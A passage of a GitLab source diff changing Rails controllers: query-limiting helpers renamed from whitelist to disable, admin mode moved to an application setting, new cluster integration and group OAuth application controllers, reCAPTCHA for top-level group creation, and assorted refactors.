- @current_context = Labkit::Context.current.to_h
+ @current_context = Gitlab::ApplicationContext.current
end
end
@@ -483,7 +482,7 @@ class ApplicationController < ActionController::Base
end
def set_current_admin(&block)
- return yield unless Feature.enabled?(:user_mode_in_session)
+ return yield unless Gitlab::CurrentSettings.admin_mode
return yield unless current_user
Gitlab::Auth::CurrentUserMode.with_current_admin(current_user, &block)
diff --git a/app/controllers/boards/issues_controller.rb b/app/controllers/boards/issues_controller.rb
index f5a9b9b61db..347bf1f4fa8 100644
--- a/app/controllers/boards/issues_controller.rb
+++ b/app/controllers/boards/issues_controller.rb
@@ -13,7 +13,7 @@ module Boards
requires_cross_project_access if: -> { board&.group_board? }
- before_action :whitelist_query_limiting, only: [:bulk_move]
+ before_action :disable_query_limiting, only: [:bulk_move]
before_action :authorize_read_issue, only: [:index]
before_action :authorize_create_issue, only: [:create]
before_action :authorize_update_issue, only: [:update]
@@ -147,8 +147,8 @@ module Boards
serializer.represent(resource, opts)
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/issues/35174')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/issues/35174')
end
def validate_id_list
diff --git a/app/controllers/chaos_controller.rb b/app/controllers/chaos_controller.rb
index 0ec6a2cb38a..1cfcd2905f2 100644
--- a/app/controllers/chaos_controller.rb
+++ b/app/controllers/chaos_controller.rb
@@ -20,7 +20,11 @@ class ChaosController < ActionController::Base
end
def kill
- do_chaos :kill, Chaos::KillWorker
+ do_chaos :kill, Chaos::KillWorker, 'KILL'
+ end
+
+ def quit
+ do_chaos :kill, Chaos::KillWorker, 'QUIT'
end
def gc
diff --git a/app/controllers/clusters/clusters_controller.rb b/app/controllers/clusters/clusters_controller.rb
index 9800d94964d..c64301f72ba 100644
--- a/app/controllers/clusters/clusters_controller.rb
+++ b/app/controllers/clusters/clusters_controller.rb
@@ -60,6 +60,9 @@ class Clusters::ClustersController < Clusters::BaseController
end
def show
+ if params[:tab] == 'integrations'
+ @prometheus_integration = Clusters::IntegrationPresenter.new(@cluster.find_or_build_integration_prometheus)
+ end
end
def update
@@ -305,7 +308,8 @@ class Clusters::ClustersController < Clusters::BaseController
def proxy_variable_substitution_service
@empty_service ||= Class.new(BaseService) do
def initialize(proxyable, params)
- @proxyable, @params = proxyable, params
+ @proxyable = proxyable
+ @params = params
end
def execute
diff --git a/app/controllers/clusters/integrations_controller.rb b/app/controllers/clusters/integrations_controller.rb
new file mode 100644
index 00000000000..a8c7eb10136
--- /dev/null
+++ b/app/controllers/clusters/integrations_controller.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Clusters
+ class IntegrationsController < ::Clusters::BaseController
+ before_action :cluster
+ before_action :authorize_admin_cluster!, only: [:create_or_update]
+
+ def create_or_update
+ service_response = Clusters::Integrations::CreateService
+ .new(container: clusterable, cluster: cluster, current_user: current_user, params: cluster_integration_params)
+ .execute
+
+ if service_response.success?
+ redirect_to cluster.show_path(params: { tab: 'integrations' }), notice: service_response.message
+ else
+ redirect_to cluster.show_path(params: { tab: 'integrations' }), alert: service_response.message
+ end
+ end
+
+ private
+
+ def clusterable
+ raise NotImplementedError
+ end
+
+ def cluster_integration_params
+ params.require(:integration).permit(:application_type, :enabled)
+ end
+
+ def cluster
+ @cluster ||= clusterable.clusters.find(params[:cluster_id]).present(current_user: current_user)
+ end
+ end
+end
diff --git a/app/controllers/concerns/authenticates_with_two_factor.rb b/app/controllers/concerns/authenticates_with_two_factor.rb
index 5c74d79951f..87555a28eb8 100644
--- a/app/controllers/concerns/authenticates_with_two_factor.rb
+++ b/app/controllers/concerns/authenticates_with_two_factor.rb
@@ -70,7 +70,7 @@ module AuthenticatesWithTwoFactor
elsif !user.confirmed?
I18n.t('devise.failure.unconfirmed')
else
- _('Invalid Login or password')
+ _('Invalid login or password')
end
end
diff --git a/app/controllers/concerns/creates_commit.rb b/app/controllers/concerns/creates_commit.rb
index e8e681ce649..7bfcda67aa2 100644
--- a/app/controllers/concerns/creates_commit.rb
+++ b/app/controllers/concerns/creates_commit.rb
@@ -5,19 +5,23 @@ module CreatesCommit
include Gitlab::Utils::StrongMemoize
# rubocop:disable Gitlab/ModuleWithInstanceVariables
- def create_commit(service, success_path:, failure_path:, failure_view: nil, success_notice: nil)
- if user_access(@project).can_push_to_branch?(branch_name_or_ref)
- @project_to_commit_into = @project
+ def create_commit(service, success_path:, failure_path:, failure_view: nil, success_notice: nil, target_project: nil)
+ target_project ||= @project
+
+ if user_access(target_project).can_push_to_branch?(branch_name_or_ref)
+ @project_to_commit_into = target_project
@branch_name ||= @ref
else
- @project_to_commit_into = current_user.fork_of(@project)
+ @project_to_commit_into = current_user.fork_of(target_project)
@branch_name ||= @project_to_commit_into.repository.next_branch('patch')
end
@start_branch ||= @ref || @branch_name
+ start_project = Feature.enabled?(:pick_into_project, @project, default_enabled: :yaml) ? @project_to_commit_into : @project
+
commit_params = @commit_params.merge(
- start_project: @project,
+ start_project: start_project,
start_branch: @start_branch,
branch_name: @branch_name
)
@@ -27,7 +31,7 @@ module CreatesCommit
if result[:status] == :success
update_flash_notice(success_notice)
- success_path = final_success_path(success_path)
+ success_path = final_success_path(success_path, target_project)
respond_to do |format|
format.html { redirect_to success_path }
@@ -79,9 +83,9 @@ module CreatesCommit
end
end
- def final_success_path(success_path)
+ def final_success_path(success_path, target_project)
if create_merge_request?
- merge_request_exists? ? existing_merge_request_path : new_merge_request_path
+ merge_request_exists? ? existing_merge_request_path : new_merge_request_path(target_project)
else
success_path = success_path.call if success_path.respond_to?(:call)
@@ -90,12 +94,12 @@ module CreatesCommit
end
# rubocop:disable Gitlab/ModuleWithInstanceVariables
- def new_merge_request_path
+ def new_merge_request_path(target_project)
project_new_merge_request_path(
@project_to_commit_into,
merge_request: {
source_project_id: @project_to_commit_into.id,
- target_project_id: @project.id,
+ target_project_id: target_project.id,
source_branch: @branch_name,
target_branch: @start_branch
}
diff --git a/app/controllers/concerns/enforces_admin_authentication.rb b/app/controllers/concerns/enforces_admin_authentication.rb
index 527759de0bb..94c0e98c91a 100644
--- a/app/controllers/concerns/enforces_admin_authentication.rb
+++ b/app/controllers/concerns/enforces_admin_authentication.rb
@@ -15,7 +15,7 @@ module EnforcesAdminAuthentication
def authenticate_admin!
return render_404 unless current_user.admin?
- return unless Feature.enabled?(:user_mode_in_session)
+ return unless Gitlab::CurrentSettings.admin_mode
unless current_user_mode.admin_mode?
current_user_mode.request_admin_mode!
diff --git a/app/controllers/concerns/labels_as_hash.rb b/app/controllers/concerns/labels_as_hash.rb
index 1171aa9cf44..e428520f709 100644
--- a/app/controllers/concerns/labels_as_hash.rb
+++ b/app/controllers/concerns/labels_as_hash.rb
@@ -11,7 +11,7 @@ module LabelsAsHash
label_hashes = available_labels.as_json(only: [:title, :color])
- if target&.respond_to?(:labels)
+ if target.respond_to?(:labels)
already_set_labels = available_labels & target.labels
if already_set_labels.present?
titles = already_set_labels.map(&:title)
diff --git a/app/controllers/concerns/membership_actions.rb b/app/controllers/concerns/membership_actions.rb
index 9e3625d1b36..7bbee8ba79e 100644
--- a/app/controllers/concerns/membership_actions.rb
+++ b/app/controllers/concerns/membership_actions.rb
@@ -6,7 +6,7 @@ module MembershipActions
def create
create_params = params.permit(:user_ids, :access_level, :expires_at)
- result = Members::CreateService.new(current_user, create_params).execute(membershipable)
+ result = Members::CreateService.new(current_user, create_params.merge({ source: membershipable })).execute
if result[:status] == :success
redirect_to members_page_url, notice: _('Users were successfully added.')
@@ -43,10 +43,11 @@ module MembershipActions
def destroy
member = membershipable.members_and_requesters.find(params[:id])
+ skip_subresources = !ActiveRecord::Type::Boolean.new.cast(params.delete(:remove_sub_memberships))
# !! is used in case unassign_issuables contains empty string which would result in nil
unassign_issuables = !!ActiveRecord::Type::Boolean.new.cast(params.delete(:unassign_issuables))
- Members::DestroyService.new(current_user).execute(member, unassign_issuables: unassign_issuables)
+ Members::DestroyService.new(current_user).execute(member, skip_subresources: skip_subresources, unassign_issuables: unassign_issuables)
respond_to do |format|
format.html do
@@ -54,7 +55,11 @@ module MembershipActions
begin
case membershipable
when Namespace
- _("User was successfully removed from group and any subresources.")
+ if skip_subresources
+ _("User was successfully removed from group.")
+ else
+ _("User was successfully removed from group and any subgroups and projects.")
+ end
else
_("User was successfully removed from project.")
end
diff --git a/app/controllers/concerns/milestone_actions.rb b/app/controllers/concerns/milestone_actions.rb
index 6470c75dfbd..0a859bd3af9 100644
--- a/app/controllers/concerns/milestone_actions.rb
+++ b/app/controllers/concerns/milestone_actions.rb
@@ -20,7 +20,7 @@ module MilestoneActions
format.html { redirect_to milestone_redirect_path }
format.json do
render json: tabs_json("shared/milestones/_merge_requests_tab", {
- merge_requests: @milestone.sorted_merge_requests(current_user), # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ merge_requests: @milestone.sorted_merge_requests(current_user).preload_milestoneish_associations, # rubocop:disable Gitlab/ModuleWithInstanceVariables
show_project_name: Gitlab::Utils.to_boolean(params[:show_project_name])
})
end
diff --git a/app/controllers/concerns/redis_tracking.rb b/app/controllers/concerns/redis_tracking.rb
index a7e75f802a8..3155208f47c 100644
--- a/app/controllers/concerns/redis_tracking.rb
+++ b/app/controllers/concerns/redis_tracking.rb
@@ -10,26 +10,31 @@
# track_redis_hll_event :index, :show, name: 'i_analytics_dev_ops_score'
#
# You can also pass custom conditions using `if:`, using the same format as with Rails callbacks.
+# You can also pass an optional block that calculates and returns a custom id to track.
module RedisTracking
extend ActiveSupport::Concern
class_methods do
- def track_redis_hll_event(*controller_actions, name:, if: nil)
+ def track_redis_hll_event(*controller_actions, name:, if: nil, &block)
custom_conditions = Array.wrap(binding.local_variable_get('if'))
conditions = [:trackable_request?, *custom_conditions]
after_action only: controller_actions, if: conditions do
- track_unique_redis_hll_event(name)
+ track_unique_redis_hll_event(name, &block)
end
end
end
private
- def track_unique_redis_hll_event(event_name)
- return unless visitor_id
+ def track_unique_redis_hll_event(event_name, &block)
+ custom_id = block_given? ? yield(self) : nil
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(event_name, values: visitor_id)
+ unique_id = custom_id || visitor_id
+
+ return unless unique_id
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(event_name, values: unique_id)
end
def trackable_request?
diff --git a/app/controllers/concerns/renders_commits.rb b/app/controllers/concerns/renders_commits.rb
index 826fae834fa..4ea07c814ef 100644
--- a/app/controllers/concerns/renders_commits.rb
+++ b/app/controllers/concerns/renders_commits.rb
@@ -17,12 +17,13 @@ module RendersCommits
def set_commits_for_rendering(commits, commits_count: nil)
@total_commit_count = commits_count || commits.size
limited, @hidden_commit_count = limited_commits(commits, @total_commit_count)
- commits.each(&:lazy_author) # preload authors
prepare_commits_for_rendering(limited)
end
# rubocop: enable Gitlab/ModuleWithInstanceVariables
def prepare_commits_for_rendering(commits)
+ commits.each(&:lazy_author) # preload commits' authors
+
Banzai::CommitRenderer.render(commits, @project, current_user) # rubocop:disable Gitlab/ModuleWithInstanceVariables
commits
diff --git a/app/controllers/concerns/runner_setup_scripts.rb b/app/controllers/concerns/runner_setup_scripts.rb
index c0e657a32d1..ccae15b824f 100644
--- a/app/controllers/concerns/runner_setup_scripts.rb
+++ b/app/controllers/concerns/runner_setup_scripts.rb
@@ -5,8 +5,8 @@ module RunnerSetupScripts
private
- def private_runner_setup_scripts(**kwargs)
- instructions = Gitlab::Ci::RunnerInstructions.new(current_user: current_user, os: script_params[:os], arch: script_params[:arch], **kwargs)
+ def private_runner_setup_scripts
+ instructions = Gitlab::Ci::RunnerInstructions.new(os: script_params[:os], arch: script_params[:arch])
output = {
install: instructions.install_script,
register: instructions.register_command
diff --git a/app/controllers/concerns/service_params.rb b/app/controllers/concerns/service_params.rb
index 3cab198c1f9..7c57d321c80 100644
--- a/app/controllers/concerns/service_params.rb
+++ b/app/controllers/concerns/service_params.rb
@@ -44,6 +44,8 @@ module ServiceParams
# make those event names plural as special case.
:issues_events,
:issues_url,
+ :jenkins_url,
+ :jira_issue_transition_automatic,
:jira_issue_transition_id,
:manual_configuration,
:merge_requests_events,
@@ -55,6 +57,7 @@ module ServiceParams
:password,
:priority,
:project_key,
+ :project_name,
:project_url,
:recipients,
:restrict_to_branch,
diff --git a/app/controllers/concerns/sessionless_authentication.rb b/app/controllers/concerns/sessionless_authentication.rb
index a9ef33bf3b9..882fef7a342 100644
--- a/app/controllers/concerns/sessionless_authentication.rb
+++ b/app/controllers/concerns/sessionless_authentication.rb
@@ -27,7 +27,7 @@ module SessionlessAuthentication
end
def sessionless_bypass_admin_mode!(&block)
- return yield unless Feature.enabled?(:user_mode_in_session)
+ return yield unless Gitlab::CurrentSettings.admin_mode
Gitlab::Auth::CurrentUserMode.bypass_session!(current_user.id, &block)
end
diff --git a/app/controllers/customers_dot/proxy_controller.rb b/app/controllers/customers_dot/proxy_controller.rb
new file mode 100644
index 00000000000..5abf8a487c6
--- /dev/null
+++ b/app/controllers/customers_dot/proxy_controller.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module CustomersDot
+ class ProxyController < ApplicationController
+ skip_before_action :authenticate_user!
+ skip_before_action :verify_authenticity_token
+
+ feature_category :purchase
+
+ BASE_URL = Gitlab::SubscriptionPortal::SUBSCRIPTIONS_URL
+
+ def graphql
+ response = Gitlab::HTTP.post("#{BASE_URL}/graphql",
+ body: request.raw_post,
+ headers: { 'Content-Type' => 'application/json' }
+ )
+
+ render json: response.body, status: response.code
+ end
+ end
+end
diff --git a/app/controllers/graphql_controller.rb b/app/controllers/graphql_controller.rb
index 53064041ab8..a13ec1daddb 100644
--- a/app/controllers/graphql_controller.rb
+++ b/app/controllers/graphql_controller.rb
@@ -4,7 +4,8 @@ class GraphqlController < ApplicationController
# Unauthenticated users have access to the API for public data
skip_before_action :authenticate_user!
- WHITELIST_HEADER = 'HTTP_X_GITLAB_QUERY_WHITELIST_ISSUE'
+ # Header can be passed by tests to disable SQL query limits.
+ DISABLE_SQL_QUERY_LIMIT_HEADER = 'HTTP_X_GITLAB_DISABLE_SQL_QUERY_LIMIT'
# If a user is using their session to access GraphQL, we need to have session
# storage, since the admin-mode check is session wide.
@@ -23,7 +24,7 @@ class GraphqlController < ApplicationController
before_action(only: [:execute]) { authenticate_sessionless_user!(:api) }
before_action :set_user_last_activity
before_action :track_vs_code_usage
- before_action :whitelist_query!
+ before_action :disable_query_limiting
# Since we deactivate authentication from the main ApplicationController and
# defer it to :authorize_access_api!, we need to override the bypass session
@@ -34,7 +35,6 @@ class GraphqlController < ApplicationController
def execute
result = multiplex? ? execute_multiplex : execute_query
-
render json: result
end
@@ -62,12 +62,14 @@ class GraphqlController < ApplicationController
private
- # Tests may mark some queries as exempt from query limits
- def whitelist_query!
- whitelist_issue = request.headers[WHITELIST_HEADER]
- return unless whitelist_issue
+ # Tests may mark some GraphQL queries as exempt from SQL query limits
+ def disable_query_limiting
+ return unless Gitlab::QueryLimiting.enabled_for_env?
+
+ disable_issue = request.headers[DISABLE_SQL_QUERY_LIMIT_HEADER]
+ return unless disable_issue
- Gitlab::QueryLimiting.whitelist(whitelist_issue)
+ Gitlab::QueryLimiting.disable!(disable_issue)
end
def set_user_last_activity
@@ -144,8 +146,7 @@ class GraphqlController < ApplicationController
end
def logs
- RequestStore.store[:graphql_logs].to_h
- .except(:duration_s, :query_string)
- .merge(operation_name: params[:operationName])
+ RequestStore.store[:graphql_logs].to_a
+ .map { |log| log.except(:duration_s, :query_string) }
end
end
diff --git a/app/controllers/groups/boards_controller.rb b/app/controllers/groups/boards_controller.rb
index 3354c0a5c9f..be38fe25842 100644
--- a/app/controllers/groups/boards_controller.rb
+++ b/app/controllers/groups/boards_controller.rb
@@ -9,7 +9,7 @@ class Groups::BoardsController < Groups::ApplicationController
before_action :assign_endpoint_vars
before_action do
push_frontend_feature_flag(:graphql_board_lists, group, default_enabled: false)
- push_frontend_feature_flag(:boards_filtered_search, group)
+ push_frontend_feature_flag(:swimlanes_buffered_rendering, group, default_enabled: :yaml)
end
feature_category :boards
diff --git a/app/controllers/groups/clusters/integrations_controller.rb b/app/controllers/groups/clusters/integrations_controller.rb
new file mode 100644
index 00000000000..e8c8a14c164
--- /dev/null
+++ b/app/controllers/groups/clusters/integrations_controller.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class Groups::Clusters::IntegrationsController < Clusters::IntegrationsController
+ include ControllerWithCrossProjectAccessCheck
+
+ prepend_before_action :group
+ requires_cross_project_access
+
+ private
+
+ def clusterable
+ @clusterable ||= ClusterablePresenter.fabricate(group, current_user: current_user)
+ end
+
+ def group
+ @group ||= find_routable!(Group, params[:group_id] || params[:id])
+ end
+end
diff --git a/app/controllers/groups/email_campaigns_controller.rb b/app/controllers/groups/email_campaigns_controller.rb
index cbb0176ea7b..4ce7d86be3c 100644
--- a/app/controllers/groups/email_campaigns_controller.rb
+++ b/app/controllers/groups/email_campaigns_controller.rb
@@ -2,7 +2,6 @@
class Groups::EmailCampaignsController < Groups::ApplicationController
include InProductMarketingHelper
- include Gitlab::Tracking::ControllerConcern
EMAIL_CAMPAIGNS_SCHEMA_URL = 'iglu:com.gitlab/email_campaigns/jsonschema/1-0-0'
@@ -18,14 +17,19 @@ class Groups::EmailCampaignsController < Groups::ApplicationController
private
def track_click
- data = {
- namespace_id: group.id,
- track: @track,
- series: @series,
- subject_line: subject_line(@track, @series)
- }
-
- track_self_describing_event(EMAIL_CAMPAIGNS_SCHEMA_URL, data: data)
+ if Gitlab.com?
+ data = {
+ namespace_id: group.id,
+ track: @track.to_s,
+ series: @series,
+ subject_line: subject_line(@track, @series)
+ }
+ context = SnowplowTracker::SelfDescribingJson.new(EMAIL_CAMPAIGNS_SCHEMA_URL, data)
+
+ ::Gitlab::Tracking.event(self.class.name, 'click', context: [context])
+ else
+ ::Users::InProductMarketingEmail.save_cta_click(current_user, @track, @series)
+ end
end
def redirect_link
diff --git a/app/controllers/groups/labels_controller.rb b/app/controllers/groups/labels_controller.rb
index c5dd3e1df35..86dde454cbc 100644
--- a/app/controllers/groups/labels_controller.rb
+++ b/app/controllers/groups/labels_controller.rb
@@ -16,7 +16,8 @@ class Groups::LabelsController < Groups::ApplicationController
format.html do
# at group level we do not want to list project labels,
# we only want `only_group_labels = false` when pulling labels for label filter dropdowns, fetched through json
- @labels = available_labels(params.merge(only_group_labels: true)).page(params[:page])
+ @labels = available_labels(params.merge(only_group_labels: true)).page(params[:page]) # rubocop: disable CodeReuse/ActiveRecord
+ Preloaders::LabelsPreloader.new(@labels, current_user).preload_all
end
format.json do
render json: LabelSerializer.new.represent_appearance(available_labels)
diff --git a/app/controllers/groups/settings/applications_controller.rb b/app/controllers/groups/settings/applications_controller.rb
new file mode 100644
index 00000000000..cefb5425867
--- /dev/null
+++ b/app/controllers/groups/settings/applications_controller.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+module Groups
+ module Settings
+ class ApplicationsController < Groups::ApplicationController
+ include OauthApplications
+
+ prepend_before_action :authorize_admin_group!
+ before_action :set_application, only: [:show, :edit, :update, :destroy]
+ before_action :load_scopes, only: [:index, :create, :edit, :update]
+
+ feature_category :authentication_and_authorization
+
+ def index
+ set_index_vars
+ end
+
+ def show
+ end
+
+ def edit
+ end
+
+ def create
+ @application = Applications::CreateService.new(current_user, application_params).execute(request)
+
+ if @application.persisted?
+ flash[:notice] = I18n.t(:notice, scope: [:doorkeeper, :flash, :applications, :create])
+
+ redirect_to group_settings_application_url(@group, @application)
+ else
+ set_index_vars
+ render :index
+ end
+ end
+
+ def update
+ if @application.update(application_params)
+ redirect_to group_settings_application_path(@group, @application), notice: _('Application was successfully updated.')
+ else
+ render :edit
+ end
+ end
+
+ def destroy
+ @application.destroy
+ redirect_to group_settings_applications_url(@group), status: :found, notice: _('Application was successfully destroyed.')
+ end
+
+ private
+
+ def set_index_vars
+ # TODO: Remove limit(100) and implement pagination
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/324187
+ @applications = @group.oauth_applications.limit(100)
+
+ # Don't overwrite a value possibly set by `create`
+ @application ||= Doorkeeper::Application.new
+ end
+
+ def set_application
+ @application = @group.oauth_applications.find(params[:id])
+ end
+
+ def application_params
+ params
+ .require(:doorkeeper_application)
+ .permit(:name, :redirect_uri, :scopes, :confidential)
+ .tap do |params|
+ params[:owner] = @group
+ end
+ end
+ end
+ end
+end
diff --git a/app/controllers/groups/settings/ci_cd_controller.rb b/app/controllers/groups/settings/ci_cd_controller.rb
index 723edc4b7e9..f1a6bcbe825 100644
--- a/app/controllers/groups/settings/ci_cd_controller.rb
+++ b/app/controllers/groups/settings/ci_cd_controller.rb
@@ -5,10 +5,12 @@ module Groups
class CiCdController < Groups::ApplicationController
include RunnerSetupScripts
+ layout 'group_settings'
skip_cross_project_access_check :show
before_action :authorize_admin_group!
before_action :authorize_update_max_artifacts_size!, only: [:update]
before_action :define_variables, only: [:show]
+ before_action :push_licensed_features, only: [:show]
feature_category :continuous_integration
@@ -51,7 +53,7 @@ module Groups
end
def runner_setup_scripts
- private_runner_setup_scripts(group: group)
+ private_runner_setup_scripts
end
private
@@ -90,6 +92,12 @@ module Groups
def update_group_params
params.require(:group).permit(:max_artifacts_size)
end
+
+ # Overridden in EE
+ def push_licensed_features
+ end
end
end
end
+
+Groups::Settings::CiCdController.prepend_if_ee('EE::Groups::Settings::CiCdController')
diff --git a/app/controllers/groups/settings/integrations_controller.rb b/app/controllers/groups/settings/integrations_controller.rb
index 8903feaff04..c3c93fe238a 100644
--- a/app/controllers/groups/settings/integrations_controller.rb
+++ b/app/controllers/groups/settings/integrations_controller.rb
@@ -9,6 +9,8 @@ module Groups
feature_category :integrations
+ layout 'group_settings'
+
def index
@integrations = Service.find_or_initialize_all_non_project_specific(Service.for_group(group)).sort_by(&:title)
end
diff --git a/app/controllers/groups/settings/packages_and_registries_controller.rb b/app/controllers/groups/settings/packages_and_registries_controller.rb
index 0135c03026c..90fb6497e20 100644
--- a/app/controllers/groups/settings/packages_and_registries_controller.rb
+++ b/app/controllers/groups/settings/packages_and_registries_controller.rb
@@ -3,6 +3,7 @@
module Groups
module Settings
class PackagesAndRegistriesController < Groups::ApplicationController
+ layout 'group_settings'
before_action :authorize_admin_group!
before_action :verify_packages_enabled!
diff --git a/app/controllers/groups/settings/repository_controller.rb b/app/controllers/groups/settings/repository_controller.rb
index ccc1fa12458..7404075985b 100644
--- a/app/controllers/groups/settings/repository_controller.rb
+++ b/app/controllers/groups/settings/repository_controller.rb
@@ -3,6 +3,7 @@
module Groups
module Settings
class RepositoryController < Groups::ApplicationController
+ layout 'group_settings'
skip_cross_project_access_check :show
before_action :authorize_create_deploy_token!
before_action :define_deploy_token_variables
diff --git a/app/controllers/groups/shared_projects_controller.rb b/app/controllers/groups/shared_projects_controller.rb
index 90ec64d4768..7acdacc2d46 100644
--- a/app/controllers/groups/shared_projects_controller.rb
+++ b/app/controllers/groups/shared_projects_controller.rb
@@ -25,13 +25,13 @@ module Groups
def finder_params
@finder_params ||= begin
- # Make the `search` param consistent for the frontend,
- # which will be using `filter`.
- params[:search] ||= params[:filter] if params[:filter]
- # Don't show archived projects
- params[:non_archived] = true
- params.permit(:sort, :search, :non_archived)
- end
+ # Make the `search` param consistent for the frontend,
+ # which will be using `filter`.
+ params[:search] ||= params[:filter] if params[:filter]
+ # Don't show archived projects
+ params[:non_archived] = true
+ params.permit(:sort, :search, :non_archived)
+ end
end
end
end
diff --git a/app/controllers/groups/variables_controller.rb b/app/controllers/groups/variables_controller.rb
index a2289b540ec..75bb6975c6e 100644
--- a/app/controllers/groups/variables_controller.rb
+++ b/app/controllers/groups/variables_controller.rb
@@ -56,3 +56,5 @@ module Groups
end
end
end
+
+Groups::VariablesController.prepend_if_ee('EE::Groups::VariablesController')
diff --git a/app/controllers/groups_controller.rb b/app/controllers/groups_controller.rb
index 5de207857bb..63f138aa462 100644
--- a/app/controllers/groups_controller.rb
+++ b/app/controllers/groups_controller.rb
@@ -8,6 +8,7 @@ class GroupsController < Groups::ApplicationController
include RecordUserLastActivity
include SendFileUpload
include FiltersEvents
+ include Recaptcha::Verify
extend ::Gitlab::Utils::Override
respond_to :html
@@ -15,6 +16,7 @@ class GroupsController < Groups::ApplicationController
prepend_before_action(only: [:show, :issues]) { authenticate_sessionless_user!(:rss) }
prepend_before_action(only: [:issues_calendar]) { authenticate_sessionless_user!(:ics) }
prepend_before_action :ensure_export_enabled, only: [:export, :download_export]
+ prepend_before_action :check_captcha, only: :create, if: -> { captcha_enabled? }
before_action :authenticate_user!, only: [:new, :create]
before_action :group, except: [:index, :new, :create]
@@ -22,6 +24,7 @@ class GroupsController < Groups::ApplicationController
# Authorize
before_action :authorize_admin_group!, only: [:edit, :update, :destroy, :projects, :transfer, :export, :download_export]
before_action :authorize_create_group!, only: [:new]
+ before_action :load_recaptcha, only: [:new], if: -> { captcha_required? }
before_action :group_projects, only: [:projects, :activity, :issues, :merge_requests]
before_action :event_filter, only: [:activity]
@@ -38,6 +41,8 @@ class GroupsController < Groups::ApplicationController
before_action :export_rate_limit, only: [:export, :download_export]
+ helper_method :captcha_required?
+
skip_cross_project_access_check :index, :new, :create, :edit, :update,
:destroy, :projects
# When loading show as an atom feed, we render events that could leak cross
@@ -263,7 +268,8 @@ class GroupsController < Groups::ApplicationController
:subgroup_creation_level,
:default_branch_protection,
:default_branch_name,
- :allow_mfa_for_subgroups
+ :allow_mfa_for_subgroups,
+ :resource_access_token_creation_allowed
]
end
@@ -319,6 +325,23 @@ class GroupsController < Groups::ApplicationController
private
+ def load_recaptcha
+ Gitlab::Recaptcha.load_configurations!
+ end
+
+ def check_captcha
+ return if group_params[:parent_id].present? # Only require for top-level groups
+
+ load_recaptcha
+
+ return if verify_recaptcha
+
+ flash[:alert] = _('There was an error with the reCAPTCHA. Please solve the reCAPTCHA again.')
+ flash.delete :recaptcha_error
+ @group = Group.new(group_params)
+ render action: 'new'
+ end
+
def successful_creation_hooks; end
def groups
@@ -336,6 +359,14 @@ class GroupsController < Groups::ApplicationController
def has_project_list?
%w(details show index).include?(action_name)
end
+
+ def captcha_enabled?
+ Gitlab::Recaptcha.enabled? && Feature.enabled?(:recaptcha_on_top_level_group_creation, type: :ops)
+ end
+
+ def captcha_required?
+ captcha_enabled? && !params[:parent_id]
+ end
end
GroupsController.prepend_if_ee('EE::GroupsController')
diff --git a/app/controllers/ide_controller.rb b/app/controllers/ide_controller.rb
index ea67c76a8bc..4c7a91ee602 100644
--- a/app/controllers/ide_controller.rb
+++ b/app/controllers/ide_controller.rb
@@ -10,6 +10,7 @@ class IdeController < ApplicationController
before_action do
push_frontend_feature_flag(:build_service_proxy)
push_frontend_feature_flag(:schema_linting)
+ push_frontend_feature_flag(:reject_unsigned_commits_by_gitlab, default_enabled: :yaml)
define_index_vars
end
@@ -27,9 +28,20 @@ class IdeController < ApplicationController
@branch = params[:branch]
@path = params[:path]
@merge_request = params[:merge_request_id]
+ @fork_info = fork_info(project, @branch)
+ end
+
+ def fork_info(project, branch)
+ return if can?(current_user, :push_code, project)
+
+ existing_fork = current_user.fork_of(project)
- unless can?(current_user, :push_code, project)
- @forked_project = ForkProjectsFinder.new(project, current_user: current_user).execute.first
+ if existing_fork
+ path = helpers.ide_edit_path(existing_fork, branch, '')
+ { ide_path: path }
+ elsif can?(current_user, :fork_project, project)
+ path = helpers.ide_fork_and_edit_path(project, branch, '', with_notice: false)
+ { fork_path: path }
end
end
diff --git a/app/controllers/import/gitlab_projects_controller.rb b/app/controllers/import/gitlab_projects_controller.rb
index 0e6b0af6baf..8de270e9d25 100644
--- a/app/controllers/import/gitlab_projects_controller.rb
+++ b/app/controllers/import/gitlab_projects_controller.rb
@@ -3,7 +3,7 @@
class Import::GitlabProjectsController < Import::BaseController
include WorkhorseAuthorization
- before_action :whitelist_query_limiting, only: [:create]
+ before_action :disable_query_limiting, only: [:create]
before_action :verify_gitlab_project_import_enabled
def new
@@ -42,8 +42,8 @@ class Import::GitlabProjectsController < Import::BaseController
)
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42437')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20823')
end
def uploader_class
diff --git a/app/controllers/import/manifest_controller.rb b/app/controllers/import/manifest_controller.rb
index fdca6da95c5..8497e15c07c 100644
--- a/app/controllers/import/manifest_controller.rb
+++ b/app/controllers/import/manifest_controller.rb
@@ -3,7 +3,7 @@
class Import::ManifestController < Import::BaseController
extend ::Gitlab::Utils::Override
- before_action :whitelist_query_limiting, only: [:create]
+ before_action :disable_query_limiting, only: [:create]
before_action :verify_import_enabled
before_action :ensure_import_vars, only: [:create, :status]
@@ -115,7 +115,7 @@ class Import::ManifestController < Import::BaseController
render_404 unless manifest_import_enabled?
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/48939')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/23147')
end
end
diff --git a/app/controllers/invites_controller.rb b/app/controllers/invites_controller.rb
index 08a23dc8927..0eb08d2d0ad 100644
--- a/app/controllers/invites_controller.rb
+++ b/app/controllers/invites_controller.rb
@@ -91,15 +91,29 @@ class InvitesController < ApplicationController
def authenticate_user!
return if current_user
- notice = ["To accept this invitation, sign in"]
- notice << "or create an account" if Gitlab::CurrentSettings.allow_signup?
- notice = notice.join(' ') + "."
+ store_location_for :user, request.fullpath
